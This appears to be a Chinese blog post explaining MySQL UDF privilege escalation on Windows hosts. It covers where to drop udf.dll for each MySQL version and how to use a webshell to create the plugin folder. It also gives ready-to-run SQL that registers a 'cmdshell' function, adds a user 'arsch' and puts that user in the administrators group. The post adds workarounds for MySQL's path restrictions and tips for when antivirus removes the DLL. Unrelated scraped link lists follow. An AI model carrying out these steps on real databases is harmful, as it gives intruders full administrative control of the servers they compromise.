udf提权方法和出现问题汇总
一、适用条件
1.目标系统是Windows(Win2000,XP,Win2003);
2.你已经拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数(MYSQL文档原语)。
3.有mysql账号密码
二、导出udf
MYSQL 5.1以下版本导出路径:
C:\Winnt\udf.dll 2000
C:\Windows\udf.dll 2003(有的系统\被转义,需要改为C:\Windows\\udf.dll)
导出DLL文件,导出时请勿必注意导出路径(一般情况下对任何目录可写,无需考虑权限问题)
MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数
可以再mysql里输入
select @@basedir
show variables like ‘%plugins%’ 寻找mysql安装路径
该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。
三、提权
使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一)returns string soname ‘导出的DLL路径’;
create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘net user arsch arsch /add’);
select cmdshell(‘net localgroup administrators arsch /add’);
drop function cmdshell;
总结:
mysql中支持UDF扩展 ,使得我们可以调用DLL里面的函数来实现一些特殊的功能。
但是对于UDF的具体限制,MYSQL的各个版本各有不同。 下面记录一下:
在MYSQL 4.1以前的版本中,可以将所有的DLL文件里面的任何函数都注册到MYSQL里面以供MYSQL调用。
无论这个DLL在什么位置,函数的声明是什么样的。
在MYSQL 4.1及以后的版本中,对UDF函数进行了限制,只有实现了一个特定接口的函数才可以被成功注册到MYSQL中,
这样就防止了通过MYSQL非法调用系统的DLL。
在MYSQL5.0以后,对注册的DLL的位置有了限制,创建函数的时候,所对应的DLL不能包含/或者\,简单的理解就是不能是绝对路径。
所以我们将DLL释放到system32目录,来跳过这个限制..或者放到盘符的根目录下通过c:udf.dll这种形式的写法来跳过限制。
后来发现原来只要把dll放到PATH这个环境变量所表示的任何一个目录下面,效果跟放到system32目录下面一样。
再说MYSQL5.1,这里有个问题相信大家会经常遇到的。。
大家有的时候在创建函数的时候,常常会遇到:
数据库查讯出错,请检查SQL语句create function cmdshell returns string soname ‘udf.dll’的语法是否正确。Function ‘cmdshell’already exists
官方描述如下:
http://bugs.mysql.com/bug.php?id=15439
Description:
Under some circumstances, case handling of UDF names leads to strange behaviour.
This can result in a situation where the function can be successfully dropped
without actually removing the corresponding entry from the mysql.func table.
…………这是因为MYSQL 5.1及以后的版本中,又多了一个限制。
创建函数时所用的DLL只能放在mysql的plugin目录里面。。
而且这个plugin目录默认是不存在的。。可能就是为了防止通过into dumpfile将DLL来写到这个文件夹。。
MYSQL是无法创建目录的, 如果into dumpfile的目标目录不存在是会报错的。
所以在导出UDF提权之前 ,先确定一下MYSQL的版本是有必要的。
如果是5.1以后的,那就不行了,如果是5.1以前的版本创建函数的时候还报Can’t open shared library这个错误。
那就要看看DLL是不是真的被导出了,还是被杀软隔离或者干掉了。
参考:http://silencegg.iteye.com/blog/2163825
udf提权方法和出现问题汇总的更多相关文章
- Mysql UDF提权方法
0x01 UDF UDF(user defined function)用户自定义函数,是mysql的一个拓展接口.用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sq ...
- mysql常用的提权方法
一,利用MOF提权 Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件: 方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp. ...
- udf提权原理详解
0x00-前言 这个udf提权复现搞了三天,终于搞出来了.网上的教程对于初学者不太友好,以至于我一直迷迷糊糊的,走了不少弯路.下面就来总结一下我的理解. 想要知道udf提权是怎么回事,首先要先知道ud ...
- mysql udf提权实战测试
根据前天对大牛们的资料学习,进行一次mysql udf提权测试. 测试环境: 受害者系统:centos 7.7 ,docker部署mysql5.6.46, IP:192.168.226.128 攻击者 ...
- [提权]mysql中的UDF提权
由于udf提权是需要构造UDF函数文件的,涉及到了写文件.所以本次实验已经将mysql的配置做了改动:–secure-file-priv=''. 剧情须知: secure_file_priv 为 NU ...
- 记一次 Raven2 渗透(phpmailer漏洞+UDF提权)
目录: 1. 寻找IP 2.dirb目录爆破 2.PHPMailer漏洞反弹得到shell 3.python版本的exp修改 4.查看wordpress的wp-config.php配置文件得到数据库账 ...
- MySQL提权之udf提权(获得webshell的情况)
什么是udf提权? MySQL提供了一个让使用者自行添加新的函数的功能,这种用户自行扩展函数的功能就叫udf. 它的提权原理也非常简单!即是利用了root 高权限,创建带有调用cmd的函数的udf.d ...
- udf提权
0x00前言: udf提权是通过数据库来实现获取目标的管理员的shell,来达到从低权限提权到高权限 0x01什么是udf: udf(Userdefined function)是用户自定义函数 在my ...
- SQLMAP UDF提权
SQLMAP UDF提权 1.连接mysql数据打开一个交互shell: sqlmap.py -d mysql://root:root@127.0.0.1:3306/test --sql-s ...
随机推荐
- css3 线性渐变和径向渐变
线性渐变:ie6以下不兼容 径向渐变:只支持firefox.Chrome和Safari <!DOCTYPE html> <html> <head> <meta ...
- php基础21:上传文件
<?php /* 通过使用 PHP 的全局数组 $_FILES,你可以从客户计算机向远程服务器上传文件 第一个参数是表单的 input name,第二个下标可以是 "name" ...
- libevent+bufferevent总结
libevent+bufferevent总结 1 学习参考网址 libevent学习网址:http://blog.csdn.net/feitianxuxue/article/details/93725 ...
- Python快速教程 尾声(转)
原文地址: http://www.cnblogs.com/vamei/p/3603046.html 作者:Vamei 出处:http://www.cnblogs.com/vamei 欢迎转载,也请保留 ...
- 1从零开始学习Xamarin.iOS安装篇
安装和配置xamarin.ios 最近.net 开源新闻很火呀,于是想学习xamarin,早1年前就了解过这个东西,但是一直没有时间来学习,我这里装的是MAC上面的版本,废话不多说开始第一步安装. 概 ...
- 淘宝SKU组合查询算法实现
淘宝SKU组合查询算法实现 2015-11-14 16:18 1140人阅读 评论(0) 收藏 举报 分类: JavaScript(14) 目录(?)[+] 前端有多少事情可以做,能做到多 ...
- chrome扩展
chrome拓展开发实战:页面脚本的拦截注入 时间 2015-07-24 11:15:00 博客园精华区 原文 http://www.cnblogs.com/horve/p/4672890.htm ...
- Linux常用指令---ps(查看进程)
Linux中的ps命令是Process Status的缩写.ps命令用来列出系统中当前运行的那些进程.ps命令列出的是当前那些进程的快照,就是执行ps命令的那个时刻的那些进程,如果想要动态的显示进程信 ...
- LeetCode 笔记25 Candy (艰难的调试)
There are N children standing in a line. Each child is assigned a rating value. You are giving candi ...
- zoeDylan.ImgChange 图片切换插件
墨芈深夜发布插件——图片切换 附上下载地址:http://pan.baidu.com/s/17kKF3共享天地/[墨芈 插件]zoeDylan Plugins Code JS (function ($ ...